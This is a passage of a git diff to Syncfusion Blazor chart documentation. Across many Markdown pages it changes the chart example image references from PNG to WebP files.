-{% previewsample "https://blazorplayground.syncfusion.com/embed/htLgMLLxrgGHhnQF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Multilevel Labels](images/axis-labels/blazor-column-chart-multi-labels.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htLgMLLxrgGHhnQF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Multilevel Labels](images/axis-labels/blazor-column-chart-multi-labels.webp)" %}
 
 ### Overflow
 
@@ -295,7 +295,7 @@ Using the [Overflow](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Cha
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjrAirBRVqmaLxUH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Multilevel Labels with Overflow](images/axis-labels/blazor-column-chart-axis-label-overflow.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjrAirBRVqmaLxUH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Multilevel Labels with Overflow](images/axis-labels/blazor-column-chart-axis-label-overflow.webp)" %}
 
 ### Alignment
 
@@ -347,7 +347,7 @@ The [Alignment](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.C
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hZBUWLVnrqvhmHGl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Multilevel Labels Alignment in Blazor Column Chart](images/axis-labels/blazor-column-chart-axis-label-alignment.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hZBUWLVnrqvhmHGl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Multilevel Labels Alignment in Blazor Column Chart](images/axis-labels/blazor-column-chart-axis-label-alignment.webp)" %}
 
 ### Text customization
 
@@ -400,7 +400,7 @@ The [Size](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartA
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVAMBrHLqPoocKv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Multilevel Labels Text in Blazor Column Chart](images/axis-labels/blazor-column-chart-custom-axis-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVAMBrHLqPoocKv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Multilevel Labels Text in Blazor Column Chart](images/axis-labels/blazor-column-chart-custom-axis-label.webp)" %}
 
 ### Border customization
 
@@ -453,7 +453,7 @@ The [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Chart
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXVKMLLxVqlbslqT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Multilevel Labels Border in Blazor Column Chart](images/axis-labels/blazor-column-chart-label-with-custom-border.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXVKMLLxVqlbslqT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Multilevel Labels Border in Blazor Column Chart](images/axis-labels/blazor-column-chart-label-with-custom-border.webp)" %}
 
 ## Edge label placement
 
@@ -501,7 +501,7 @@ The longer text labels at the axes edges may only be partially visible in the c
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrqWVVHhTXtqqWR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Chart Axis Label in Edge Position](images/axis-labels/blazor-chart-axis-label-in-edge.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrqWVVHhTXtqqWR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Chart Axis Label in Edge Position](images/axis-labels/blazor-chart-axis-label-in-edge.webp)" %}
 
 ## Labels customization
 
@@ -543,7 +543,7 @@ The label [Color](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLUCVrRhftplXww?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Custom Label](images/axis-labels/blazor-column-chart-axis-custom-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLUCVrRhftplXww?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Custom Label](images/axis-labels/blazor-column-chart-axis-custom-label.webp)" %}
 
 ## Trim label
 
@@ -584,7 +584,7 @@ The label can be trimmed using the [EnableTrim](https://help.syncfusion.com/cr/b
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVqMrLdVzXPKHis?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Label Trimming in Blazor Column Chart Axis](images/axis-labels/blazor-column-chart-axis-label-trim.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVqMrLdVzXPKHis?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Label Trimming in Blazor Column Chart Axis](images/axis-labels/blazor-column-chart-axis-label-trim.webp)" %}
 
 ## Line break
 
@@ -626,7 +626,7 @@ The `<br>` tag can used to separate the long axis label into multiple lines.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLgCBLdVJBNXepm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Line break Label](images/axis-labels/blazor-column-chart-axis-line-break-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLgCBLdVJBNXepm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Line break Label](images/axis-labels/blazor-column-chart-axis-line-break-label.webp)" %}
 
 ## Label format
 
@@ -706,7 +706,7 @@ You can customize the axis labels by using [OnAxisLabelRender](https://help.sync
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVqCrrHLpVyohwI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Label customization](images/axis-labels/blazor-column-chart-label-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVqCrrHLpVyohwI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Label customization](images/axis-labels/blazor-column-chart-label-customization.webp)" %}
 
 ## Axis label template
 
@@ -760,7 +760,7 @@ Within the `LabelTemplate`, the implicit parameter context provides access to la
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLHjrXgKgtAxgoC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Template using Text](images/axis-labels/blazor-column-chart-axis-text-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLHjrXgKgtAxgoC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis with Template using Text](images/axis-labels/blazor-column-chart-axis-text-template.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Chart-Axis-Label-Customization).
 
diff --git a/blazor/chart/category-axis.md b/blazor/chart/category-axis.md
index c3cb8c3a35..7f5ae3c67b 100644
--- a/blazor/chart/category-axis.md
+++ b/blazor/chart/category-axis.md
@@ -50,7 +50,7 @@ A detailed walkthrough for customizing the category axis is provided in the vide
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLgWrhVAEwCkOWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Default Axis](images/category-axis/blazor-chart-default-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLgWrhVAEwCkOWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Default Axis](images/category-axis/blazor-chart-default-axis.webp)" %}
 
 ## Labels placement
 
@@ -91,7 +91,7 @@ The category labels are positioned between ticks by default, but the [LabelPlace
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLgWVrBgOQpAjdB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Labels Position in Blazor Chart](images/category-axis/blazor-diagram-label-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLgWVrBgOQpAjdB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Labels Position in Blazor Chart](images/category-axis/blazor-diagram-label-position.webp)" %}
 
 ## Range and interval
 
@@ -132,7 +132,7 @@ The [Minimum](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Cha
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLqWrrhTtLJCSXT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column Chart Axis based on Range and Interval](images/category-axis/blazor-chart-axis-range-and-interval.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLqWrrhTtLJCSXT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column Chart Axis based on Range and Interval](images/category-axis/blazor-chart-axis-range-and-interval.webp)" %}
 
 ## Indexed category axis
 
@@ -181,7 +181,7 @@ The category axis can also be rendered using the data source index values. This
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVAiVrVTDrcDBLL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Indexed Category Axis](images/category-axis/blazor-chart-index-category-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVAiVrVTDrcDBLL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Indexed Category Axis](images/category-axis/blazor-chart-index-category-axis.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to knows various chart types and how to represent time-dependent data, showing trends in data at equal intervals.
 
diff --git a/blazor/chart/chart-annotations.md b/blazor/chart/chart-annotations.md
index 9f7b14709f..f352eaa01a 100644
--- a/blazor/chart/chart-annotations.md
+++ b/blazor/chart/chart-annotations.md
@@ -63,7 +63,7 @@ A detailed walkthrough demonstrating how to add and customize annotations in the
 
 ```
 
-![Annotation in Blazor Column chart](images/annotation/blazor-column-chart-annotation.png)
+![Annotation in Blazor Column chart](images/annotation/blazor-column-chart-annotation.webp)
 
 ## Region
 
@@ -115,7 +115,7 @@ The [Region](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Char
 
 ```
 
-![Inserting Annotations using Region in Blazor Column Chart](images/annotation/blazor-column-chart-annotation-using-region.png)
+![Inserting Annotations using Region in Blazor Column Chart](images/annotation/blazor-column-chart-annotation-using-region.webp)
 
 ## Co-ordinate units
 
@@ -165,7 +165,7 @@ The [CoordinateUnits](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ch
 
 ```
 
-![Inserting Annotation using Coordinate in Blazor Column Chart](images/annotation/blazor-column-chart-coordinate-annotation.png)
+![Inserting Annotation using Coordinate in Blazor Column Chart](images/annotation/blazor-column-chart-coordinate-annotation.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/chart-appearance.md b/blazor/chart/chart-appearance.md
index 63b1e28a2a..7e6d791aee 100644
--- a/blazor/chart/chart-appearance.md
+++ b/blazor/chart/chart-appearance.md
@@ -57,7 +57,7 @@ The default color of series or points can be changed by providing a custom color
 
 ```
 
-![Blazor Column Chart with Custom Color Palette](images/appearance/blazor-column-chart-custom-color-palette.png)
+![Blazor Column Chart with Custom Color Palette](images/appearance/blazor-column-chart-custom-color-palette.webp)
 
 <!-- markdownlint-disable MD036 -->
 
@@ -108,7 +108,7 @@ The chart's background color can be customized using the [Background](https://he
 
 ```
 
-![Blazor Column Chart with Custom Background and Border](images/appearance/blazor-column-chart-custom-background-and-border.png)
+![Blazor Column Chart with Custom Background and Border](images/appearance/blazor-column-chart-custom-background-and-border.webp)
 
 ### Chart margin
 
@@ -154,7 +154,7 @@ The chart's margin from its container can be customized using the [ChartMargin](
 
 ```
 
-![Blazor Column Chart with Custom Margin](images/appearance/blazor-column-chart-custom-margin.png)
+![Blazor Column Chart with Custom Margin](images/appearance/blazor-column-chart-custom-margin.webp)
 
 ### Chart area customization
 
@@ -198,7 +198,7 @@ Using [Background](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Chart
 
 ```
 
-![Blazor Area Chart with Custom Background and Border](images/appearance/blazor-area-chart-custom-background-and-border.png)
+![Blazor Area Chart with Custom Background and Border](images/appearance/blazor-area-chart-custom-background-and-border.webp)
 
 ## Animation
 
@@ -285,7 +285,7 @@ A chart title can be specified using the [Title](https://help.syncfusion.com/cr/
 
 ```
 
-![Blazor Column Chart with Title](images/appearance/blazor-column-chart-title.png)
+![Blazor Column Chart with Title](images/appearance/blazor-column-chart-title.webp)
 
 ### Title position
 
@@ -330,7 +330,7 @@ N> The subtitle, which appears below the title, will also be positioned along wi
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hthIjzjTrISHobHi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Position customization of title in Blazor Chart](images/appearance/blazor-chart-title-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hthIjzjTrISHobHi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Position customization of title in Blazor Chart](images/appearance/blazor-chart-title-position.webp)" %}
 
 When the `Position` is set to `Custom`, the title can be positioned anywhere on the chart using the [X](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTitleStyle.html#Syncfusion_Blazor_Charts_ChartTitleStyle_X) and [Y](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTitleStyle.html#Syncfusion_Blazor_Charts_ChartTitleStyle_Y) properties in [ChartTitleStyle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTitleStyle.html). This provides precise control over the title’s location, enabling customization to fit specific design or layout needs. The `X` and `Y` values specify the horizontal and vertical coordinates, respectively.
 
@@ -373,7 +373,7 @@ When the `Position` is set to `Custom`, the title can be positioned anywhere on
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLoXTtfLyEQbMWr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Custom position of title in Blazor Chart](images/appearance/blazor-chart-title-position-custom.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLoXTtfLyEQbMWr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Custom position of title in Blazor Chart](images/appearance/blazor-chart-title-position-custom.webp)" %}
 
 ## Chart subtitle
 
@@ -419,7 +419,7 @@ The [SubTitle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Sf
 
 ```
 
-![Blazor Column Chart with Subtitle](images/appearance/blazor-column-chart-with-subtitle.png)
+![Blazor Column Chart with Subtitle](images/appearance/blazor-column-chart-with-subtitle.webp)
 
 N> The chart components do not use any CSS style for customization; chart elements like axis labels, datalabel, background, series palette, legend text, and tooltip text can be customized by using the [ChartAxisLabelStyle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartAxisLabelStyle.html), [ChartDataLabelFont](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartDataLabelFont.html), [BackGround](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfChart.html#Syncfusion_Blazor_Charts_SfChart_Background), [Palettes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfChart.html#Syncfusion_Blazor_Charts_SfChart_Palettes), [ChartLegendTextStyle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartLegendTextStyle.html), and [ChartTooltipTextStyle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTooltipTextStyle.html), respectively. 
 
diff --git a/blazor/chart/chart-dimensions.md b/blazor/chart/chart-dimensions.md
index f018fa9e56..52cfce4208 100644
--- a/blazor/chart/chart-dimensions.md
+++ b/blazor/chart/chart-dimensions.md
@@ -61,7 +61,7 @@ The chart can be scaled to fit the container. As shown in the below example, the
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVqWLrhgORNWnqy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Chart Size as Fit to Container](images/chart-dimensions/blazor-chart-size-for-container.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVqWLrhgORNWnqy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Chart Size as Fit to Container](images/chart-dimensions/blazor-chart-size-for-container.webp)" %}
 
 ## Size for chart
 
@@ -105,7 +105,7 @@ The [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfCha
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLUCrhhUOHBRpDP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Chart Size in Pixel](images/chart-dimensions/blazor-chart-size-in-pixel.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLUCrhhUOHBRpDP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Chart Size in Pixel](images/chart-dimensions/blazor-chart-size-in-pixel.webp)" %}
 
 ### In percentage
 
@@ -145,7 +145,7 @@ By setting the values of [Width](https://help.syncfusion.com/cr/blazor/Syncfusio
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLUMrVLAEHSsNxA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Chart Size in Percentage](images/chart-dimensions/blazor-chart-size-in-percentage.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLUMrVLAEHSsNxA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Chart Size in Percentage](images/chart-dimensions/blazor-chart-size-in-percentage.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/chart-print.md b/blazor/chart/chart-print.md
index 15430ebffd..21a5579561 100644
--- a/blazor/chart/chart-print.md
+++ b/blazor/chart/chart-print.md
@@ -60,7 +60,7 @@ The `PrintAsync` method can be used to print a rendered chart directly from the
 
 ```
 
-![Printing in Blazor Chart](images/getting-started/blazor-chart-printing.png)
+![Printing in Blazor Chart](images/getting-started/blazor-chart-printing.webp)
 
 ### Print - Multiple Charts
 
@@ -232,8 +232,8 @@ Again, the [PrintAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-![Blazor Chart - Print Multiple Charts](images/getting-started/blazor-chart-print-all-charts.png)
-![Blazor Chart - Print Multiple Charts](images/getting-started/blazor-chart-print-all-charts2.png)
+![Blazor Chart - Print Multiple Charts](images/getting-started/blazor-chart-print-all-charts.webp)
+![Blazor Chart - Print Multiple Charts](images/getting-started/blazor-chart-print-all-charts2.webp)
 
 ## Export
 
diff --git a/blazor/chart/chart-series.md b/blazor/chart/chart-series.md
index b56e3b2348..15f334a686 100644
--- a/blazor/chart/chart-series.md
+++ b/blazor/chart/chart-series.md
@@ -54,7 +54,7 @@ The [ChartSeries](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Blazor Column Chart with Multiple Series](images/multiple-series/blazor-column-chart-multiple-series.png)
+![Blazor Column Chart with Multiple Series](images/multiple-series/blazor-column-chart-multiple-series.webp)
 
 ## Combination chart series
 
@@ -113,7 +113,7 @@ N> Bar series cannot be combined with any other series as the axis orientation i
 
 ```
 
-![Displaying Combination of Blazor Chart](images/multiple-series/blazor-chart-combination.png)
+![Displaying Combination of Blazor Chart](images/multiple-series/blazor-chart-combination.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/chart-sorting.md b/blazor/chart/chart-sorting.md
index 3607091f16..7542e3c86e 100644
--- a/blazor/chart/chart-sorting.md
+++ b/blazor/chart/chart-sorting.md
@@ -48,7 +48,7 @@ Sorting enables you to sort data in ascending or descending order. To sort the c
 
 ```
 
-![Blazor Chart - Sorting by y-axis](images/sorting/sorting-yaxis-ascending.png)
+![Blazor Chart - Sorting by y-axis](images/sorting/sorting-yaxis-ascending.webp)
 
 ## Sorting order
 
@@ -90,7 +90,7 @@ By default, sorting is applied in **Ascending** order. The sorting order can be
 }
 ```
 
-![Blazor Chart - Sort descending by y-axis](images/sorting/sorting-yaxis-descending.png)
+![Blazor Chart - Sort descending by y-axis](images/sorting/sorting-yaxis-descending.webp)
 
 ## Sorting by custom value
 
@@ -133,7 +133,7 @@ Data can also be sorted based on any field in the data source by passing the fie
 
 ```
 
-![Blazor Chart - Sorting by custom value](images/sorting/custom-sorting.png)
+![Blazor Chart - Sorting by custom value](images/sorting/custom-sorting.webp)
 
 ## See also
 
diff --git a/blazor/chart/chart-types/area.md b/blazor/chart/chart-types/area.md
index e09a61d768..3cba2bb54e 100644
--- a/blazor/chart/chart-types/area.md
+++ b/blazor/chart/chart-types/area.md
@@ -42,7 +42,7 @@ The [Area Chart](https://www.syncfusion.com/blazor-components/blazor-charts/char
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVpXuWryXlXgwKd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Area Chart](../images/chart-types-images/blazor-area-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVpXuWryXlXgwKd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Area Chart](../images/chart-types-images/blazor-area-chart.webp)" %}
 
 N> Refer to the [Blazor Area Charts](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/area-chart) feature page for more details and explore the [Blazor Area Chart Example](https://blazor.syncfusion.com/demos/chart/area) to see usage for time-dependent data and trend visualization.
 
diff --git a/blazor/chart/chart-types/bar.md b/blazor/chart/chart-types/bar.md
index ad433dec07..0edaa10218 100644
--- a/blazor/chart/chart-types/bar.md
+++ b/blazor/chart/chart-types/bar.md
@@ -50,7 +50,7 @@ documentation: ug
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLTNYsqpkzRkDLi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar Chart](../images/chart-types-images/blazor-bar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLTNYsqpkzRkDLi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar Chart](../images/chart-types-images/blazor-bar-chart.webp)" %}
 
 N> Refer to the [Blazor Bar Charts](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/bar-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Bar Chart Example](https://blazor.syncfusion.com/demos/chart/bar?theme=bootstrap5) to compare values across categories by using horizontal bars.
 
@@ -368,7 +368,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBINTjfrHKsRaBF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar Chart with corner radius](../images/chart-types-images/blazor-bar-chart-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBINTjfrHKsRaBF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar Chart with corner radius](../images/chart-types-images/blazor-bar-chart-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -418,7 +418,7 @@ Customize the corner radius for individual points in the chart series using the
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBejJXJVPrWIMKc?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor bar chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBejJXJVPrWIMKc?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor bar chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.webp)" %}
 
 ## Bar spacing and width
 
@@ -504,7 +504,7 @@ The [ColumnWidthInPixel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDreDxhnJqkknbxM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar Chart with column width set in pixel](../images/chart-types-images/blazor-bar-chart-width-in-pixels.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDreDxhnJqkknbxM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar Chart with column width set in pixel](../images/chart-types-images/blazor-bar-chart-width-in-pixels.webp)" %}
 
 ## Grouped bar
 
diff --git a/blazor/chart/chart-types/box-whisker.md b/blazor/chart/chart-types/box-whisker.md
index bcdbc6a66f..e0cc5ca70f 100644
--- a/blazor/chart/chart-types/box-whisker.md
+++ b/blazor/chart/chart-types/box-whisker.md
@@ -53,7 +53,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBzjFVZSMTofoJN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Box and Whisker Charts](../images/othertypes/blazor-box-whisker-charts.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBzjFVZSMTofoJN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Box and Whisker Charts](../images/othertypes/blazor-box-whisker-charts.webp)" %}
 
 N> Refer to our [Blazor Box and Whisker Charts](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/box-and-whisker-chart) feature tour page to know about its other groundbreaking feature representations. Explore our [Blazor Box and Whisker Chart Example](https://blazor.syncfusion.com/demos/chart/box-and-whisker) to know how to render and configure the box and whisker type charts.
 
diff --git a/blazor/chart/chart-types/bubble.md b/blazor/chart/chart-types/bubble.md
index d23993d99b..025f4d8802 100644
--- a/blazor/chart/chart-types/bubble.md
+++ b/blazor/chart/chart-types/bubble.md
@@ -56,7 +56,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVfZlVZAFsaTHgz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bubble Chart](../images/chart-types-images/blazor-bubble-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVfZlVZAFsaTHgz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bubble Chart](../images/chart-types-images/blazor-bubble-chart.webp)" %}
 
 N> Refer to the [Blazor Bubble Charts](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/bubble-chart) feature tour page to know about its other groundbreaking feature representations and also explore the [Blazor Bubble Chart Example](https://blazor.syncfusion.com/demos/chart/bubble?theme=bootstrap5) to know how to render and configure the bubble type charts.
 
diff --git a/blazor/chart/chart-types/candle.md b/blazor/chart/chart-types/candle.md
index 226e210049..6e35e41cb1 100644
--- a/blazor/chart/chart-types/candle.md
+++ b/blazor/chart/chart-types/candle.md
@@ -59,7 +59,7 @@ To render a [`Candle`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.C
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpZFLtJkIBDGOn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Candle Chart](../images/financial-types/blazor-candle-chart.png)" %}
